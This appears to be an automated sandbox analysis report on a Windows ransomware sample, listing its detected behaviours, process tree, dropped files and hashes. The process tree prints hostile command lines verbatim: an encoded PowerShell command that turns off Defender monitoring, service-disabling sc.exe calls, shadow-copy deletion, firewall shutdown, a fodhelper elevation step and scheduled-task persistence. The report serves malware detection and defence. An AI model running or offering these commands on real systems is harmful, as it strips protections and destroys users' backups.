Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250619-en
  • resource tags

    arch:x64arch:x86image:win11-20250619-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    09/05/2026, 01:57

General

  • Target
    2026-05-09_c69d84c722701b6e9cea7325780ba3b1_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 49KB
  • Sample260509-cdc7fsc12q
  • SHA256 71e5b98c50f254b1bc7299456c77338b41d72d3067577f33df918edec8ff2cef
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Detects command variations typically used by ransomware 2 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-05-09_c69d84c722701b6e9cea7325780ba3b1_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-05-09_c69d84c722701b6e9cea7325780ba3b1_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3664
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4296
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:4832
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4440
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:5056
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:2952
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:3240
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:2776
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:2456
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4852
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5336
      • C:\Users\Admin\AppData\Local\Temp\2026-05-09_c69d84c722701b6e9cea7325780ba3b1_destroyer_elex_glassworm_ngrbot_wannacry.exe
        "C:\Users\Admin\AppData\Local\Temp\2026-05-09_c69d84c722701b6e9cea7325780ba3b1_destroyer_elex_glassworm_ngrbot_wannacry.exe"
        3⤵
          PID:3980
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:2956
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-09_c69d84c722701b6e9cea7325780ba3b1_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4784
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1172
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:5008
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:744
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3260
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:5708
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5668
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:3328
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5976
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:640
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3132
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2328
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:2528
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:5600
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:5112
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1684
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              • Suspicious use of AdjustPrivilegeToken
              PID:3968
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-09_c69d84c722701b6e9cea7325780ba3b1_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3092
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
            2⤵
              PID:2424
            • C:\Windows\System32\notepad.exe
              "C:\Windows\System32\notepad.exe"
              2⤵
                PID:3036
              • C:\Windows\System32\vssadmin.exe
                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                2⤵
                • Interacts with shadow copies
                PID:1252
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:4232
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" stop srservice
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:452
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop srservice
                  3⤵
                    PID:1656
                • C:\Windows\System32\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:932
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:2472
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" stop i8042prt
                  2⤵
                  • Launches sc.exe
                  PID:396
              • C:\Windows\system32\LogonUI.exe
                "LogonUI.exe" /flags:0x0 /state0:0xa3a17055 /state1:0x41c64e6d
                1⤵
                • Modifies data under HKEY_USERS
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:2692
              • C:\Users\Admin\AppData\Local\Temp\2026-05-09_c69d84c722701b6e9cea7325780ba3b1_destroyer_elex_glassworm_ngrbot_wannacry.exe
                C:\Users\Admin\AppData\Local\Temp\2026-05-09_c69d84c722701b6e9cea7325780ba3b1_destroyer_elex_glassworm_ngrbot_wannacry.exe
                1⤵
                  PID:1644
                • C:\Users\Admin\AppData\Local\Temp\2026-05-09_c69d84c722701b6e9cea7325780ba3b1_destroyer_elex_glassworm_ngrbot_wannacry.exe
                  C:\Users\Admin\AppData\Local\Temp\2026-05-09_c69d84c722701b6e9cea7325780ba3b1_destroyer_elex_glassworm_ngrbot_wannacry.exe
                  1⤵
                    PID:1516
                  • C:\Windows\system32\vssvc.exe
                    C:\Windows\system32\vssvc.exe
                    1⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3692
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k swprv
                    1⤵
                      PID:2952

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

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                          Downloads

                          LockScreen___1280_0720_notdimmed.jpg

                          • Path C:\ProgramData\Microsoft\Windows\SystemData\S-1-5-21-3534313381-4287935181-1066995225-1000\ReadOnly\LockScreen_Z\LockScreen___1280_0720_notdimmed.jpg
                          • Size 62KB
                          • SHA256 af2537d470fddbeda270c965b8dbdf7e9ccf480ed2f525012e2f1035112a6d67
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          invoice_1.pdf

                          • Path C:\ProgramData\invoice_1.pdf
                          • Size 66KB
                          • SHA256 96ff18b9f0d086f8d325969c2e252d3f75cf344b322582f9a26fde6f81dcc190
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          doc_3.pdf

                          • Path C:\SystemVolumeInformation\doc_3.pdf
                          • Size 66KB
                          • SHA256 4aa8fa41cc919cabcd64461577dcb8369c257913849f1db60bcd501526b75b2a
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          2026-05-09_c69d84c722701b6e9cea7325780ba3b1_destroyer_elex_glassworm_ngrbot_wannacry.exe.log

                          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-05-09_c69d84c722701b6e9cea7325780ba3b1_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
                          • Size 660B
                          • SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
                          • MD5 SHA1 SHA512 TLSH

                          __PSScriptPolicyTest_ykur42yu.wgp.ps1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ykur42yu.wgp.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512 TLSH

                          createshortcut.vbs

                          • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                          • Size 309B
                          • SHA256 a8d3ab60dc4857534531e9a5d15778e65bde63dedcc20270e16d2d6cdb81268c
                          • MD5 SHA1 SHA512 TLSH

                          del.bat

                          • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                          • Size 59B
                          • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                          • MD5 SHA1 SHA512 TLSH

                          makelnk.vbs

                          • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                          • Size 310B
                          • SHA256 ae40fa57ba2caf7546d1e1d6df4ce5cfa3aedfe8dc04e4a3ea2a4ead4f0a89bd
                          • MD5 SHA1 SHA512 TLSH

                          sysupdate.exe

                          • Path C:\Windows\System32\sysupdate.exe
                          • Size 49KB
                          • SHA256 71e5b98c50f254b1bc7299456c77338b41d72d3067577f33df918edec8ff2cef
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/2424-2258-0x0000018E22C30000-0x0000018E22C3C000-memory.dmp

                          memory/2692-2284-0x0000020885960000-0x0000020885969000-memory.dmp

                          memory/2956-2243-0x000001FC28180000-0x000001FC2818C000-memory.dmp

                          memory/3036-2265-0x0000019A94F20000-0x0000019A94F21000-memory.dmp

                          memory/3664-2283-0x000000001B8B0000-0x000000001B8C2000-memory.dmp

                          memory/3664-2282-0x000000001CD90000-0x000000001CD99000-memory.dmp

                          memory/3664-2285-0x000000001B8E0000-0x000000001B8F0000-memory.dmp

                          memory/3664-0-0x0000000000B40000-0x0000000000B52000-memory.dmp

                          memory/3664-2281-0x0000000001380000-0x000000000138C000-memory.dmp

                          memory/3664-12-0x000000001DDB0000-0x000000001E2D8000-memory.dmp

                          memory/3664-11-0x000000001D6B0000-0x000000001D872000-memory.dmp

                          memory/3664-1-0x000000001B8E0000-0x000000001B8F0000-memory.dmp

                          memory/4296-1138-0x000002BE3A970000-0x000002BE3A98C000-memory.dmp

                          memory/4296-2256-0x000002BE3AC00000-0x000002BE3AC0A000-memory.dmp

                          memory/4296-2253-0x000002BE3ABC0000-0x000002BE3ABC8000-memory.dmp

                          memory/4296-2254-0x000002BE3ABF0000-0x000002BE3ABF6000-memory.dmp

                          memory/4296-2274-0x000002BE21F80000-0x000002BE21F92000-memory.dmp

                          memory/4296-2273-0x000002BE21E70000-0x000002BE21E7C000-memory.dmp

                          memory/4296-2245-0x000002BE3AC10000-0x000002BE3AC2A000-memory.dmp

                          memory/4296-2244-0x000002BE3ABB0000-0x000002BE3ABBA000-memory.dmp

                          memory/4296-1949-0x000002BE3ABD0000-0x000002BE3ABEC000-memory.dmp

                          memory/4296-1438-0x000002BE3AA50000-0x000002BE3AA5A000-memory.dmp

                          memory/4296-1149-0x000002BE3A990000-0x000002BE3AA43000-memory.dmp

                          memory/4296-104-0x000002BE3A5C0000-0x000002BE3A5E2000-memory.dmp